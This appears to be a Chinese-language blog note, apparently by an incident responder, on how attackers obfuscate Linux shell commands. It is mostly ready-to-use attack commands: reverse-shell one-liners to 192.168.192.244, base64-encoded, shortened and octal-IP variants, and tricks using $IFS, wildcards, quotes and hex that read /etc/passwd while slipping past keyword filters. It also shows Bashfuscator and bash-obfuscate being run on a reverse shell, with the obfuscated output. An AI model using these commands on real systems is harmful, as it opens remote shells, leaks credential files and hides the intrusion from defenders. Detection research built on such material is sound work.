因为工作中经常接触Linux机器的一些安全事件,所以记录一下Linux下常见的一些混淆姿势

一些常见反弹shell混淆

base64和短反弹

生成反弹

1
2
3
echo "echo $(echo 'bash -i >& /dev/tcp/192.168.192.244/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#结果
echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpFNU1pNHlORFF2TkRRME5DQXdQaVl4Q2c9PQo=|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

短反弹

1
2
3
(sh)0>/dev/tcp/192.168.192.244/443
#在nc接收后执行
exec >&0

路径和关键词屏蔽

问号和通配符

需要注意绝对路径

1
2
3
4
5
6
7
8
/usr/bin/p?ng 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.034 ms
^C
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.034/0.034/0.035/0.005 ms
1
/usr/bin/who*mi 

通配符+文件名

1
2
touch -- -alh #创建一个文件名为-al的文件
ls * 等效于ls -alh

方括号内的字符[]
注意[]内的字符只能有一个

1
/usr/bin/whoa[m]i 

引号和\

1
2
3
"w"h"o"a'm'i
'w'h'o'a'm'i
who\am\i

#$0 代表Shell本身的文件名

未初始化的变量,Linux中等效null

1
2
who${q}ami
cat$q /etc$q/passwd$q

错误命令
注意这里是,而且q`必须相同,然后会报错几次输出结果

1
w`q`h`q`o`q`a`q`m`q`i

历史连接
!-1 会输出最后一个命令和结果 !-2会输出倒数第二个命令和结果

1
2
3
4
5
6
7
#拼接两次命令
who
ami
!-2!-1
#输出
whoami
root

\换行执行

1
2
3
who\
a\
mi

空格屏蔽

花括号+,

1
{cat,/etc/passwd}

IFS替换空格
可以查看当前的shell变量

1
2
set | grep IFS
IFS=$' \t\n'
1
2
cat${IFS}/etc/passwd 
cat$IFS/etc/passwd

十六进制
(\x20代表空格)

1
X=$'cat\x20/etc/passwd'&&$X

变量绕过
``内的内容在Linux就是执行一次 比如whoami等效于whoami的结果

1
2
IFS=];b=cat]/etc/passwd;$b
IFS=,;`cat<<<cat,/etc/passwd`

未赋值的变量组合!

1
2
$u $u 
cat!-1\/etc/passwd

斜杠屏蔽

几乎所有用户的home目录都是/root /xxx 这种形式,所以把home的/截取出来
HOME:0:1 0代表第一个字符,1代表长度

1
2
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

十六进制编码

1
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

整型IP

IP除了传统的点分十进制形如127.0.0.1,也可以使用整型IP格式
127.0.0.1 == 2130706433
或者是八进制这种bash -i >& /dev/tcp/030052140364/4444 0>&1

IP(八进制格式).png

Linux命令混淆工具

Bashfuscator

https://github.com/Bashfuscator/Bashfuscator

安装

1
2
3
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install

使用

1
bashfuscator -c "bash -i >& /dev/tcp/192.168.192.244/4444 0>&1"  -o re.sh

输出效果

bashfuscator混淆后的反弹shell.png

bash-obfuscate

主要针对shell脚本进行混淆,注意到它是因为趋势的一篇报告
https://www.trendmicro.com/en_au/research/21/f/bash-ransomware-darkradiation-targets-red-hat–and-debian-based-linux-distributions.html

https://www.npmjs.com/package/bash-obfuscate
安装

1
npm install -g bash-obfuscate

使用
新建一个bash脚本,内容如下

内容为反弹shell的bash脚本.png

1
bash-obfuscate re.sh -o output.sh

混淆后的效果

1
z="";Fz='192.';Dz='dev/';Hz='244/';Ez='tcp/';Bz=' -i ';Az='bash';Kz='1';Iz='4444';Gz='168.';Jz=' 0>&';Cz='>& /';eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Fz$Hz$Iz$Jz$Kz"